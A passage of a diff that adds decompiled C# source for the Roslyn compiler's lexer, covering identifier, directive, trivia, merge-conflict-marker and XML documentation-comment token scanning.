IL_0133: + info.HasIdentifierEscapeSequence = true; + flag2 = true; + c = PeekUnicodeEscape(out surrogateCharacter); + } + } + } + + private bool ScanIdentifier_CrefSlowPath(ref TokenInfo info) + { + int position = TextWindow.Position; + ResetIdentBuffer(); + if (AdvanceIfMatches('@')) + { + if (InXmlNameAttributeValue) + { + AddIdentChar('@'); + } + else + { + info.IsVerbatim = true; + } + } + while (true) + { + int position2 = TextWindow.Position; + char ch; + char surrogate; + if (TextWindow.PeekChar() == '&') + { + if (!TryScanXmlEntity(out ch, out surrogate)) + { + TextWindow.Reset(position2); + break; + } + } + else + { + ch = TextWindow.NextChar(); + surrogate = '\uffff'; + } + bool flag = false; + while (true) + { + switch (ch) + { + case '\\': + { + bool flag2 = !flag && TextWindow.Position == position2 + 1; + if (flag2) + { + char c = TextWindow.PeekChar(); + bool flag3 = ((c == 'U' || c == 'u') ? true : false); + flag2 = flag3; + } + if (flag2) + { + info.HasIdentifierEscapeSequence = true; + TextWindow.Reset(position2); + flag = true; + ch = NextUnicodeEscape(out surrogate, out SyntaxDiagnosticInfo info2); + AddCrefError((DiagnosticInfo?)(object)info2); + continue; + } + goto IL_01e5; + } + case '0': + case '1': + case '2': + case '3': + case '4': + case '5': + case '6': + case '7': + case '8': + case '9': + break; + case '\t': + case ' ': + case '$': + case '(': + case ')': + case ',': + case '.': + case ';': + case '<': + goto IL_01bc; + case '\uffff': + goto IL_01ca; + default: + goto IL_01e5; + case 'A': + case 'B': + case 'C': + case 'D': + case 'E': + case 'F': + case 'G': + case 'H': + case 'I': + case 'J': + case 'K': + case 'L': + case 'M': + case 'N': + case 'O': + case 'P': + case 'Q': + case 'R': + case 'S': + case 'T': + case 'U': + case 'V': + case 'W': + case 'X': + case 'Y': + case 'Z': + case '_': + case 'a': + case 'b': + case 'c': + case 'd': + case 'e': + case 'f': + case 'g': + case 'h': + case 'i': + case 'j': + case 'k': + case 'l': + case 'm': + case 'n': + case 'o': + case 'p': + case 'q': + case 'r': + case 's': + case 't': + case 'u': + case 'v': + case 'w': + case 'x': + case 'y': + case 'z': + goto IL_022b; + } + break; + } + if (_identLen == 0) + { + TextWindow.Reset(position2); + break; + } + goto IL_022b; + IL_01ca: + if (TextWindow.IsReallyAtEnd()) + { + TextWindow.Reset(position2); + break; + } + goto IL_01e5; + IL_01bc: + TextWindow.Reset(position2); + break; + IL_022b: + AddIdentChar(ch); + if (surrogate != '\uffff') + { + AddIdentChar(surrogate); + } + continue; + IL_01e5: + if (_identLen != 0 || ch <= '\u007f' || !SyntaxFacts.IsIdentifierStartCharacter(ch)) + { + if (_identLen <= 0 || ch <= '\u007f' || !SyntaxFacts.IsIdentifierPartCharacter(ch)) + { + TextWindow.Reset(position2); + break; + } + if (UnicodeCharacterUtilities.IsFormattingChar(ch)) + { + continue; + } + } + goto IL_022b; + } + if (_identLen > 0) + { + int width = TextWindow.Width; + if (_identLen == width) + { + info.StringValue = TextWindow.GetInternedText(); + info.Text = info.StringValue; + } + else + { + info.StringValue = TextWindow.Intern(_identBuffer, 0, _identLen); + info.Text = TextWindow.GetText(intern: false); + } + return true; + } + info.Text = null; + info.StringValue = null; + TextWindow.Reset(position); + return false; + } + + private bool ScanIdentifierOrKeyword(ref TokenInfo info) + { + info.ContextualKind = SyntaxKind.None; + if (ScanIdentifier(ref info)) + { + if (!info.IsVerbatim && !info.HasIdentifierEscapeSequence) + { + if (ModeIs(LexerMode.Directive)) + { + SyntaxKind preprocessorKeywordKind = SyntaxFacts.GetPreprocessorKeywordKind(info.Text); + if (SyntaxFacts.IsPreprocessorContextualKeyword(preprocessorKeywordKind)) + { + info.Kind = SyntaxKind.IdentifierToken; + info.ContextualKind = preprocessorKeywordKind; + } + else + { + info.Kind = preprocessorKeywordKind; + } + } + else if (!_cache.TryGetKeywordKind(info.Text, out info.Kind)) + { + info.ContextualKind = (info.Kind = SyntaxKind.IdentifierToken); + } + else if (SyntaxFacts.IsContextualKeyword(info.Kind)) + { + info.ContextualKind = info.Kind; + info.Kind = SyntaxKind.IdentifierToken; + } + if (info.Kind == SyntaxKind.None) + { + info.Kind = SyntaxKind.IdentifierToken; + } + } + else + { + info.ContextualKind = (info.Kind = SyntaxKind.IdentifierToken); + } + return true; + } + info.Kind = SyntaxKind.None; + return false; + } + + private void LexSyntaxTrivia(bool afterFirstToken, bool isTrailing, ref SyntaxListBuilder triviaList) + { + bool flag = !isTrailing; + while (true) + { + Start(); + char c = TextWindow.PeekChar(); + if (c == ' ') + { + AddTrivia(ScanWhitespace(), ref triviaList); + continue; + } + if (c > '\u007f') + { + if (SyntaxFacts.IsWhitespace(c)) + { + c = ' '; + } + else if (SyntaxFacts.IsNewLine(c)) + { + c = '\n'; + } + } + switch (c) + { + default: + return; + case '\t': + case '\v': + case '\f': + case '\u001a': + case ' ': + AddTrivia(ScanWhitespace(), ref triviaList); + break; + case '/': + { + if ((c = TextWindow.PeekChar(1)) == '/') + { + if (!SuppressDocumentationCommentParse && TextWindow.PeekChar(2) == '/' && TextWindow.PeekChar(3) != '/') + { + if (isTrailing) + { + return; + } + AddTrivia(LexXmlDocComment(XmlDocCommentStyle.SingleLine), ref triviaList); + } + else + { + ScanToEndOfLine(); + string text = TextWindow.GetText(intern: false); + AddTrivia(SyntaxFactory.Comment(text), ref triviaList); + flag = false; + } + break; + } + if (c != '*') + { + return; + } + if (!SuppressDocumentationCommentParse && TextWindow.PeekChar(2) == '*' && TextWindow.PeekChar(3) != '*' && TextWindow.PeekChar(3) != '/') + { + if (isTrailing) + { + return; + } + AddTrivia(LexXmlDocComment(XmlDocCommentStyle.Delimited), ref triviaList); + break; + } + ScanMultiLineComment(out var isTerminated); + if (!isTerminated) + { + AddError(ErrorCode.ERR_OpenEndedComment); + } + string text2 = TextWindow.GetText(intern: false); + AddTrivia(SyntaxFactory.Comment(text2), ref triviaList); + flag = false; + break; + } + case '\n': + case '\r': + { + CSharpSyntaxNode trivia = ScanEndOfLine(); + AddTrivia(trivia, ref triviaList); + if (isTrailing) + { + return; + } + flag = true; + break; + } + case '#': + if (_allowPreprocessorDirectives) + { + LexDirectiveAndExcludedTrivia(afterFirstToken, isTrailing || !flag, ref triviaList); + break; + } + return; + case '<': + case '=': + case '|': + if (!isTrailing && IsConflictMarkerTrivia()) + { + LexConflictMarkerTrivia(ref triviaList); + break; + } + return; + } + } + } + + private bool IsConflictMarkerTrivia() + { + int position = TextWindow.Position; + SourceText text = TextWindow.Text; + if (position == 0 || SyntaxFacts.IsNewLine(text[position - 1])) + { + char c = text[position]; + if (position + s_conflictMarkerLength <= text.Length) + { + int i = 0; + for (int num = s_conflictMarkerLength; i < num; i++) + { + if (text[position + i] != c) + { + return false; + } + } + if ((c == '=' || c == '|') ? true : false) + { + return true; + } + if (position + s_conflictMarkerLength < text.Length) + { + return text[position + s_conflictMarkerLength] == ' '; + } + return false; + } + } + return false; + } + + private void LexConflictMarkerTrivia(ref SyntaxListBuilder triviaList) + { + Start(); + AddError(TextWindow.Position, s_conflictMarkerLength, ErrorCode.ERR_Merge_conflict_marker_encountered); + char c = TextWindow.PeekChar(); + LexConflictMarkerHeader(ref triviaList); + LexConflictMarkerEndOfLine(ref triviaList); + if ((c == '=' || c == '|') ? true : false) + { + LexConflictMarkerDisabledText(c == '=', ref triviaList); + } + } + + private SyntaxListBuilder LexConflictMarkerDisabledText(bool atSecondMiddleMarker, ref SyntaxListBuilder triviaList) + { + Start(); + bool flag = false; + while (true) + { + char c = TextWindow.PeekChar(); + if (c == '\uffff') + { + break; + } + if (!atSecondMiddleMarker && c == '=' && IsConflictMarkerTrivia()) + { + flag = true; + break; + } + if (c == '>' && IsConflictMarkerTrivia()) + { + flag = true; + break; + } + TextWindow.AdvanceChar(); + } + if (TextWindow.Width > 0) + { + AddTrivia(SyntaxFactory.DisabledText(TextWindow.GetText(intern: false)), ref triviaList); + } + if (flag) + { + LexConflictMarkerTrivia(ref triviaList); + } + return triviaList; + } + + private void LexConflictMarkerEndOfLine(ref SyntaxListBuilder triviaList) + { + Start(); + while (SyntaxFacts.IsNewLine(TextWindow.PeekChar())) + { + TextWindow.AdvanceChar(); + } + if (TextWindow.Width > 0) + { + AddTrivia(SyntaxFactory.EndOfLine(TextWindow.GetText(intern: false)), ref triviaList); + } + } + + private void LexConflictMarkerHeader(ref SyntaxListBuilder triviaList) + { + while (true) + { + char c = TextWindow.PeekChar(); + if (c == '\uffff' || SyntaxFacts.IsNewLine(c)) + { + break; + } + TextWindow.AdvanceChar(); + } + AddTrivia(SyntaxFactory.ConflictMarker(TextWindow.GetText(intern: false)), ref triviaList); + } + + private void AddTrivia(CSharpSyntaxNode trivia, [NotNull] ref SyntaxListBuilder? list) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + if (base.HasErrors) + { + CSharpSyntaxNode cSharpSyntaxNode = trivia; + DiagnosticInfo[] errors = (DiagnosticInfo[])(object)GetErrors(0); + trivia = GreenNodeExtensions.WithDiagnosticsGreen(cSharpSyntaxNode, errors); + } + if (list == null) + { + list = new SyntaxListBuilder(8); + } + list.Add((GreenNode)(object)trivia); + } + + private bool ScanMultiLineComment(out bool isTerminated) + { + if (TextWindow.PeekChar() == '/' && TextWindow.PeekChar(1) == '*') + { + TextWindow.AdvanceChar(2); + while (true) + { + char c; + if ((c = TextWindow.PeekChar()) == '\uffff' && TextWindow.IsReallyAtEnd()) + { + isTerminated = false; + break; + } + if (c == '*' && TextWindow.PeekChar(1) == '/') + { + TextWindow.AdvanceChar(2); + isTerminated = true; + break; + } + TextWindow.AdvanceChar(); + } + return true; + } + isTerminated = false; + return false; + } + + private void ScanToEndOfLine() + { + char c; + while (!SyntaxFacts.IsNewLine(c = TextWindow.PeekChar()) && (c != '\uffff' || !TextWindow.IsReallyAtEnd())) + { + TextWindow.AdvanceChar(); + } + } + + private CSharpSyntaxNode? ScanEndOfLine() + { + char ch; + switch (ch = TextWindow.PeekChar()) + { + case '\r': + TextWindow.AdvanceChar(); + if (!TextWindow.TryAdvance('\n')) + { + return SyntaxFactory.CarriageReturn; + } + return SyntaxFactory.CarriageReturnLineFeed; + case '\n': + TextWindow.AdvanceChar(); + return SyntaxFactory.LineFeed; + default: + if (SyntaxFacts.IsNewLine(ch)) + { + TextWindow.AdvanceChar(); + return SyntaxFactory.EndOfLine(ch.ToString()); + } + return null; + } + } + + private SyntaxTrivia ScanWhitespace() + { + if (_createWhitespaceTriviaFunction == null) + { + _createWhitespaceTriviaFunction = CreateWhitespaceTrivia; + } + int num = -2128831035; + bool flag = true; + while (true) + { + char c = TextWindow.PeekChar(); + switch (c) + { + default: + if (c != '\u001a') + { + if (c == ' ') + { + goto IL_0059; + } + if (c <= '\u007f' || !SyntaxFacts.IsWhitespace(c)) + { + break; + } + } + goto case '\t'; + case '\t': + case '\v': + case '\f': + flag = false; + goto IL_0059; + case '\n': + case '\r': + break; + } + break; + IL_0059: + TextWindow.AdvanceChar(); + num = Hash.CombineFNVHash(num, c); + } + if (TextWindow.Width == 1 && flag) + { + return SyntaxFactory.Space; + } + int width = TextWindow.Width; + if (width < 42) + { + return _cache.LookupTrivia(TextWindow.CharacterWindow, TextWindow.LexemeRelativeStart, width, num, _createWhitespaceTriviaFunction); + } + return _createWhitespaceTriviaFunction(); + } + + private SyntaxTrivia CreateWhitespaceTrivia() + { + return SyntaxFactory.Whitespace(TextWindow.GetText(intern: true)); + } + + private void LexDirectiveAndExcludedTrivia(bool afterFirstToken, bool afterNonWhitespaceOnLine, ref SyntaxListBuilder triviaList) + { + if (LexSingleDirective(isActive: true, endIsActive: true, afterFirstToken, afterNonWhitespaceOnLine, ref triviaList) is BranchingDirectiveTriviaSyntax { BranchTaken: false }) + { + LexExcludedDirectivesAndTrivia(endIsActive: true, ref triviaList); + } + } + + private void LexExcludedDirectivesAndTrivia(bool endIsActive, ref SyntaxListBuilder triviaList) + { + while (true) + { + bool followedByDirective; + CSharpSyntaxNode cSharpSyntaxNode = LexDisabledText(out followedByDirective); + if (cSharpSyntaxNode != null) + { + AddTrivia(cSharpSyntaxNode, ref triviaList); + } + if (followedByDirective) + { + CSharpSyntaxNode cSharpSyntaxNode2 = LexSingleDirective(isActive: false, endIsActive, afterFirstToken: false, afterNonWhitespaceOnLine: false, ref triviaList); + BranchingDirectiveTriviaSyntax branchingDirectiveTriviaSyntax = cSharpSyntaxNode2 as BranchingDirectiveTriviaSyntax; + if (cSharpSyntaxNode2.Kind != SyntaxKind.EndIfDirectiveTrivia && (branchingDirectiveTriviaSyntax == null || !branchingDirectiveTriviaSyntax.BranchTaken)) + { + if (cSharpSyntaxNode2.Kind == SyntaxKind.IfDirectiveTrivia) + { + LexExcludedDirectivesAndTrivia(endIsActive: false, ref triviaList); + } + continue; + } + break; + } + break; + } + } + + private CSharpSyntaxNode LexSingleDirective(bool isActive, bool endIsActive, bool afterFirstToken, bool afterNonWhitespaceOnLine, ref SyntaxListBuilder triviaList) + { + if (SyntaxFacts.IsWhitespace(TextWindow.PeekChar())) + { + Start(); + AddTrivia(ScanWhitespace(), ref triviaList); + } + LexerMode mode = _mode; + CSharpSyntaxNode cSharpSyntaxNode; + using (DirectiveParser directiveParser = new DirectiveParser(this, _directives)) + { + cSharpSyntaxNode = directiveParser.ParseDirective(isActive, endIsActive, afterFirstToken, afterNonWhitespaceOnLine); + } + AddTrivia(cSharpSyntaxNode, ref triviaList); + _directives = cSharpSyntaxNode.ApplyDirectives(_directives); + _mode = mode; + return cSharpSyntaxNode; + } + + private CSharpSyntaxNode? LexDisabledText(out bool followedByDirective) + { + Start(); + int position = TextWindow.Position; + int num = 0; + bool flag = true; + while (true) + { + char c = TextWindow.PeekChar(); + if ((uint)c <= 13u) + { + if (c == '\n' || c == '\r') + { + goto IL_00cb; + } + } + else + { + switch (c) + { + case '\uffff': + if (TextWindow.IsReallyAtEnd()) + { + followedByDirective = false; + if (TextWindow.Width <= 0) + { + return null; + } + return SyntaxFactory.DisabledText(TextWindow.GetText(intern: false)); + } + break; + case '#': + if (!_allowPreprocessorDirectives) + { + break; + } + followedByDirective = true; + if (position >= TextWindow.Position || flag) + { + TextWindow.Reset(position); + if (TextWindow.Width <= 0) + { + return null; + } + return SyntaxFactory.DisabledText(TextWindow.GetText(intern: false)); + } + break; + } + } + if (!SyntaxFacts.IsNewLine(c)) + { + flag = flag && SyntaxFacts.IsWhitespace(c); + TextWindow.AdvanceChar(); + continue; + } + goto IL_00cb; + IL_00cb: + ScanEndOfLine(); + position = TextWindow.Position; + flag = true; + num++; + } + } + + private SyntaxToken LexDirectiveToken() + { + Start(); + TokenInfo info = default(TokenInfo); + ScanDirectiveToken(ref info); + SyntaxDiagnosticInfo[] errors = GetErrors(0); + SyntaxListBuilder trailing = LexDirectiveTrailingTrivia(info.Kind == SyntaxKind.EndOfDirectiveToken); + return Create(in info, null, trailing, errors); + } + + public SyntaxToken LexEndOfDirectiveWithOptionalPreprocessingMessage() + { + PooledStringBuilder val = null; + while (true) + { + char c = TextWindow.PeekChar(); + if (SyntaxFacts.IsNewLine(c) || (c == '\uffff' && TextWindow.IsReallyAtEnd())) + { + break; + } + if (val == null) + { + val = PooledStringBuilder.GetInstance(); + } + val.Builder.Append(c); + TextWindow.AdvanceChar(); + } + SyntaxTrivia leading = ((val == null) ? null : SyntaxFactory.PreprocessingMessage(val.ToStringAndFree())); + SyntaxListBuilder? obj = LexDirectiveTrailingTrivia(includeEndOfLine: true); + GreenNode trailing = ((obj != null) ? obj.ToListNode() : null); + return SyntaxFactory.Token((GreenNode)(object)leading, SyntaxKind.EndOfDirectiveToken, trailing); + } + + private bool ScanDirectiveToken(ref TokenInfo info) + { + //IL_028b: Unknown result type (might be due to invalid IL or missing references) + bool flag = false; + char ch; + char surrogateCharacter; + switch (ch = TextWindow.PeekChar()) + { + case '\uffff': + if (TextWindow.IsReallyAtEnd()) + { + info.Kind = SyntaxKind.EndOfDirectiveToken; + break; + } + goto default; + case '\n': + case '\r': + info.Kind = SyntaxKind.EndOfDirectiveToken; + break; + case '#': + TextWindow.AdvanceChar(); + info.Kind = SyntaxKind.HashToken; + break; + case '(': + TextWindow.AdvanceChar(); + info.Kind = SyntaxKind.OpenParenToken; + break; + case ')': + TextWindow.AdvanceChar(); + info.Kind = SyntaxKind.CloseParenToken; + break; + case ',': + TextWindow.AdvanceChar(); + info.Kind = SyntaxKind.CommaToken; + break; + case '-': + TextWindow.AdvanceChar(); + info.Kind = SyntaxKind.MinusToken; + break; + case '!': + TextWindow.AdvanceChar(); + if (TextWindow.PeekChar() == '=') + { + TextWindow.AdvanceChar(); + info.Kind = SyntaxKind.ExclamationEqualsToken; + } + else + { + info.Kind = SyntaxKind.ExclamationToken; + } + break; + case '=': + TextWindow.AdvanceChar(); + if (TextWindow.PeekChar() == '=') + { + TextWindow.AdvanceChar(); + info.Kind = SyntaxKind.EqualsEqualsToken; + } + else + { + info.Kind = SyntaxKind.EqualsToken; + } + break; + case '&': + if (TextWindow.PeekChar(1) == '&') + { + TextWindow.AdvanceChar(2); + info.Kind = SyntaxKind.AmpersandAmpersandToken; + break; + } + goto default; + case '|': + if (TextWindow.PeekChar(1) == '|') + { + TextWindow.AdvanceChar(2); + info.Kind = SyntaxKind.BarBarToken; + break; + } + goto default; + case '0': + case '1': + case '2': + case '3': + case '4': + case '5': + case '6': + case '7': + case '8': + case '9': + ScanInteger(); + info.Kind = SyntaxKind.NumericLiteralToken; + info.Text = TextWindow.GetText(intern: true); + info.ValueKind = (SpecialType)13; + info.IntValue = GetValueInt32(info.Text, isHex: false); + break; + case '"': + ScanStringLiteral(ref info, inDirective: true); + break; + case '\\': + ch = PeekCharOrUnicodeEscape(out surrogateCharacter); + flag = true; + if (SyntaxFacts.IsIdentifierStartCharacter(ch)) + { + ScanIdentifierOrKeyword(ref info); + break; + } + goto default; + default: + if (flag || !SyntaxFacts.IsNewLine(ch)) + { + if (SyntaxFacts.IsIdentifierStartCharacter(ch)) + { + ScanIdentifierOrKeyword(ref info); + break; + } + if (flag) + { + NextCharOrUnicodeEscape(out surrogateCharacter, out SyntaxDiagnosticInfo info2); + AddError(info2); + } + else + { + TextWindow.AdvanceChar(); + } + info.Kind = SyntaxKind.None; + info.Text = TextWindow.GetText(intern: true); + break; + } + goto case '\n'; + } + return info.Kind != SyntaxKind.None; + } + + private SyntaxListBuilder? LexDirectiveTrailingTrivia(bool includeEndOfLine) + { + SyntaxListBuilder list = null; + while (true) + { + int position = TextWindow.Position; + CSharpSyntaxNode cSharpSyntaxNode = LexDirectiveTrivia(); + if (cSharpSyntaxNode == null) + { + break; + } + if (cSharpSyntaxNode.Kind == SyntaxKind.EndOfLineTrivia) + { + if (includeEndOfLine) + { + AddTrivia(cSharpSyntaxNode, ref list); + } + else + { + TextWindow.Reset(position); + } + break; + } + AddTrivia(cSharpSyntaxNode, ref list); + } + return list; + } + + private CSharpSyntaxNode? LexDirectiveTrivia() + { + CSharpSyntaxNode result = null; + Start(); + char c = TextWindow.PeekChar(); + switch (c) + { + case '/': + if (TextWindow.PeekChar(1) == '/') + { + ScanToEndOfLine(); + result = SyntaxFactory.Comment(TextWindow.GetText(intern: false)); + } + break; + case '\n': + case '\r': + result = ScanEndOfLine(); + break; + case '\t': + case '\v': + case '\f': + case ' ': + result = ScanWhitespace(); + break; + default: + if (!SyntaxFacts.IsWhitespace(c)) + { + if (!SyntaxFacts.IsNewLine(c)) + { + break; + } + goto case '\n'; + } + goto case '\t'; + } + return result; + } + + private CSharpSyntaxNode LexXmlDocComment(XmlDocCommentStyle style) + { + LexerMode mode = _mode; + LexerMode modeflags = ((style != XmlDocCommentStyle.SingleLine) ? LexerMode.XmlDocCommentStyleDelimited : LexerMode.XmlDocCommentLocationStart); + if (_xmlParser == null) + { + _xmlParser = new DocumentationCommentParser(this, modeflags); + } + else + { + _xmlParser.ReInitialize(modeflags); + } + bool isTerminated; + DocumentationCommentTriviaSyntax result = _xmlParser.ParseDocumentationComment(out isTerminated); + _mode = mode; + if (!isTerminated) + { + AddError(TextWindow.LexemeStartPosition, TextWindow.Width, ErrorCode.ERR_OpenEndedComment); + } + return result; + } + + private SyntaxToken LexXmlToken() + { + TokenInfo info = default(TokenInfo); + SyntaxListBuilder trivia = null; + LexXmlDocCommentLeadingTrivia(ref trivia); + Start(); + ScanXmlToken(ref info); + SyntaxDiagnosticInfo[] errors = GetErrors(GetFullWidth(trivia)); + return Create(in info, trivia, null, errors); + } + + private bool ScanXmlToken(ref TokenInfo info) + { + if (LocationIs(XmlDocCommentLocation.End)) + { + info.Kind = SyntaxKind.EndOfDocumentationCommentToken; + return true; + } + char ch; + char c = (ch = TextWindow.PeekChar()); + if ((uint)c <= 13u) + { + if (c == '\n' || c == '\r') + { + goto IL_0066; + } + goto IL_0089; + } + if (c != '&') + { + if (c != '<') + { + if (c != '\uffff' || !TextWindow.IsReallyAtEnd()) + { + goto IL_0089; + } + info.Kind = SyntaxKind.EndOfDocumentationCommentToken; + } + else + { + ScanXmlTagStart(ref info); + } + } + else + { + ScanXmlEntity(ref info); + info.Kind = SyntaxKind.XmlEntityLiteralToken; + } + goto IL_00a3; + IL_0066: + ScanXmlTextLiteralNewLineToken(ref info); + goto IL_00a3; + IL_0089: + if (SyntaxFacts.IsNewLine(ch)) + { + goto IL_0066; + } + ScanXmlText(ref info); + info.Kind = SyntaxKind.XmlTextLiteralToken; + goto IL_00a3; + IL_00a3: + return info.Kind != SyntaxKind.None; + } + + private void ScanXmlTextLiteralNewLineToken(ref TokenInfo info) + { + ScanEndOfLine(); + info.StringValue = (info.Text = TextWindow.GetText(intern: false)); + info.Kind = SyntaxKind.XmlTextLiteralNewLineToken; + MutateLocation(XmlDocCommentLocation.Exterior); + } + + private void ScanXmlTagStart(ref TokenInfo info) + { + if (TextWindow.PeekChar(1) == '!') + { + if (TextWindow.PeekChar(2) == '-' && TextWindow.PeekChar(3) == '-') + { + TextWindow.AdvanceChar(4); + info.Kind = SyntaxKind.XmlCommentStartToken; + } + else if (TextWindow.PeekChar(2) == '[' && TextWindow.PeekChar(3) == 'C' && TextWindow.PeekChar(4) == 'D' && TextWindow.PeekChar(5) == 'A' && TextWindow.PeekChar(6) == 'T' && TextWindow.PeekChar(7) == 'A' && TextWindow.PeekChar(8) == '[') + { + TextWindow.AdvanceChar(9); + info.Kind = SyntaxKind.XmlCDataStartToken; + } + else + { + TextWindow.AdvanceChar(); + info.Kind = SyntaxKind.LessThanToken; + } + } + else if (TextWindow.PeekChar(1) == '/') + { + TextWindow.AdvanceChar(2); + info.Kind = SyntaxKind.LessThanSlashToken; + } + else if (TextWindow.PeekChar(1) == '?') + { + TextWindow.AdvanceChar(2); + info.Kind = SyntaxKind.XmlProcessingInstructionStartToken; + } + else + { + TextWindow.AdvanceChar(); + info.Kind = SyntaxKind.LessThanToken; + } + } + + private void ScanXmlEntity(ref TokenInfo info) + { + info.StringValue = null; + TextWindow.AdvanceChar(); + _builder.Clear(); + XmlParseErrorCode? xmlParseErrorCode = null; + object[] array = null; + char c; + if (IsXmlNameStartChar(c = TextWindow.PeekChar())) + { + while (IsXmlNameChar(c = TextWindow.PeekChar())) + { + TextWindow.AdvanceChar(); + _builder.Append(c); + } + switch (_builder.ToString()) + { + case "lt": + info.StringValue = "<"; + break; + case "gt": + info.StringValue = ">"; + break; + case "amp": + info.StringValue = "&"; + break; + case "apos": + info.StringValue = "'"; + break; + case "quot": + info.StringValue = "\""; + break; + default: + { + xmlParseErrorCode = XmlParseErrorCode.XML_RefUndefinedEntity_1; + object[] array2 = new string[1] { _builder.ToString() }; + array = array2; + break; + } + } + } + else if (c == '#') + { + TextWindow.AdvanceChar(); + bool num = TextWindow.PeekChar() == 'x'; + uint num2 = 0u; + if (num) + { + TextWindow.AdvanceChar(); + while (SyntaxFacts.IsHexDigit(c = TextWindow.PeekChar())) + { + TextWindow.AdvanceChar(); + if (num2 <= 134217727) + { + num2 = (num2 << 4) + (uint)SyntaxFacts.HexValue(c); + } + } + } + else + { + while (SyntaxFacts.IsDecDigit(c = TextWindow.PeekChar())) + { + TextWindow.AdvanceChar(); + if (num2 <= 134217727) + { + num2 = (num2 << 3) + (num2 << 1) + (uint)SyntaxFacts.DecValue(c); + } + } + } + if (TextWindow.PeekChar() != ';') + { + xmlParseErrorCode = XmlParseErrorCode.XML_InvalidCharEntity; + } + if (MatchesProductionForXmlChar(num2)) + { + char lowSurrogate; + char charsFromUtf = SlidingTextWindow.GetCharsFromUtf32(num2, out lowSurrogate); + _builder.Append(charsFromUtf); + if (lowSurrogate != '\uffff') + { + _builder.Append(lowSurrogate); + } + info.StringValue = _builder.ToString(); + } + else if (!xmlParseErrorCode.HasValue) + { + xmlParseErrorCode = XmlParseErrorCode.XML_InvalidUnicodeChar; + } + } + else if (SyntaxFacts.IsWhitespace(c) || SyntaxFacts.IsNewLine(c)) + { + if (!xmlParseErrorCode.HasValue) + { + xmlParseErrorCode = XmlParseErrorCode.XML_InvalidWhitespace; + } + } + else if (!xmlParseErrorCode.HasValue) + { + xmlParseErrorCode = XmlParseErrorCode.XML_InvalidToken; + object[] array2 = new string[1] { c.ToString() }; + array = array2; + } + c = TextWindow.PeekChar(); + if (c == ';') + { + TextWindow.AdvanceChar(); + } + else if (!xmlParseErrorCode.HasValue) + { + xmlParseErrorCode = XmlParseErrorCode.XML_InvalidToken; + object[] array2 = new string[1] { c.ToString() }; + array = array2; + } + info.Text = TextWindow.GetText(intern: true); + if (info.StringValue == null) + { + info.StringValue = info.Text; + } + if (xmlParseErrorCode.HasValue) + { + AddError(xmlParseErrorCode.Value, array ?? Array.Empty()); + } + } + + private static bool MatchesProductionForXmlChar(uint charValue) + { + if (charValue != 9 && charValue != 10 && charValue != 13 && (charValue < 32 || charValue > 55295) && (charValue < 57344 || charValue > 65533)) + { + if (charValue >= 65536) + { + return charValue <= 1114111; + } + return false; + } + return true; + } + + private void ScanXmlText(ref TokenInfo info) + { + if (TextWindow.PeekChar() == ']' && TextWindow.PeekChar(1) == ']' && TextWindow.PeekChar(2) == '>') + { + TextWindow.AdvanceChar(3); + info.StringValue = (info.Text = TextWindow.GetText(intern: false)); + AddError(XmlParseErrorCode.XML_CDataEndTagNotAllowed); + return; + } + while (true) + { + char c = TextWindow.PeekChar(); + if ((uint)c <= 38u) + { + if (c == '\n' || c == '\r' || c == '&') + { + goto IL_00d7; + } + } + else if ((uint)c <= 60u) + { + if (c != '*') + { + if (c == '<') + { + goto IL_00d7; + } + } + else if (StyleIs(XmlDocCommentStyle.Delimited) && TextWindow.PeekChar(1) == '/') + { + break; + } + } + else + { + switch (c) + { + case '\uffff': + if (TextWindow.IsReallyAtEnd()) + { + info.StringValue = (info.Text = TextWindow.GetText(intern: false)); + return; + } + break; + case ']': + if (TextWindow.PeekChar(1) == ']' && TextWindow.PeekChar(2) == '>') + { + info.StringValue = (info.Text = TextWindow.GetText(intern: false)); + return; + } + break; + } + } + if (!SyntaxFacts.IsNewLine(c)) + { + TextWindow.AdvanceChar(); + continue; + } + goto IL_00d7; + IL_00d7: + info.StringValue = (info.Text = TextWindow.GetText(intern: false)); + return; + } + info.StringValue = (info.Text = TextWindow.GetText(intern: false)); + } + + private SyntaxToken LexXmlElementTagToken() + { + TokenInfo info = default(TokenInfo); + SyntaxListBuilder trivia = null; + LexXmlDocCommentLeadingTriviaWithWhitespace(ref trivia); + Start(); + ScanXmlElementTagToken(ref info); + SyntaxDiagnosticInfo[] errors = GetErrors(GetFullWidth(trivia)); + if (errors == null && info.ContextualKind == SyntaxKind.None && info.Kind == SyntaxKind.IdentifierToken) + { + SyntaxToken syntaxToken = DocumentationCommentXmlTokens.LookupToken(info.Text, trivia); + if (syntaxToken != null) + { + return syntaxToken; + } + } + return Create(in info, trivia, null, errors); + } + + private bool ScanXmlElementTagToken(ref TokenInfo info) + { + if (LocationIs(XmlDocCommentLocation.End)) + { + info.Kind = SyntaxKind.EndOfDocumentationCommentToken; + return true; + } + char ch; + switch (ch = TextWindow.PeekChar()) + { + case '<': + ScanXmlTagStart(ref info); + break; + case '>': + TextWindow.AdvanceChar(); + info.Kind = SyntaxKind.GreaterThanToken; + break; + case '/': + if (TextWindow.PeekChar(1) == '>') + { + TextWindow.AdvanceChar(2); + info.Kind = SyntaxKind.SlashGreaterThanToken; + break; + } + goto default; + case '"': + TextWindow.AdvanceChar(); + info.Kind = SyntaxKind.DoubleQuoteToken; + break; + case '\'': + TextWindow.AdvanceChar(); + info.Kind = SyntaxKind.SingleQuoteToken; + break; + case '=': + TextWindow.AdvanceChar(); + info.Kind = SyntaxKind.EqualsToken; + break; + case ':': + TextWindow.AdvanceChar(); + info.Kind = SyntaxKind.ColonToken; + break; + case '\uffff': + if (TextWindow.IsReallyAtEnd()) + { + info.Kind = SyntaxKind.EndOfDocumentationCommentToken; + break; + } + goto default; + case '*': + if (StyleIs(XmlDocCommentStyle.Delimited) && TextWindow.PeekChar(1) == '/') + { + break; + } + goto default; + default: + if (IsXmlNameStartChar(ch)) + { + ScanXmlName(ref info); + info.StringValue = info.Text; + info.Kind = SyntaxKind.IdentifierToken; + } + else if (!SyntaxFacts.IsWhitespace(ch) && !SyntaxFacts.IsNewLine(ch)) + { + TextWindow.AdvanceChar(); + info.Kind = SyntaxKind.None; + info.StringValue = (info.Text = TextWindow.GetText(intern: false)); + } + break; + case '\n': + case '\r': + break; + } + return info.Kind != SyntaxKind.None; + } + + private void ScanXmlName(ref TokenInfo info) + { + int position = TextWindow.Position; + while (true) + { + char c = TextWindow.PeekChar(); + if (c == ':' || !IsXmlNameChar(c)) + { + break; + } + TextWindow.AdvanceChar(); + } + info.Text = TextWindow.GetText(position, TextWindow.Position - position, intern: true); + } + 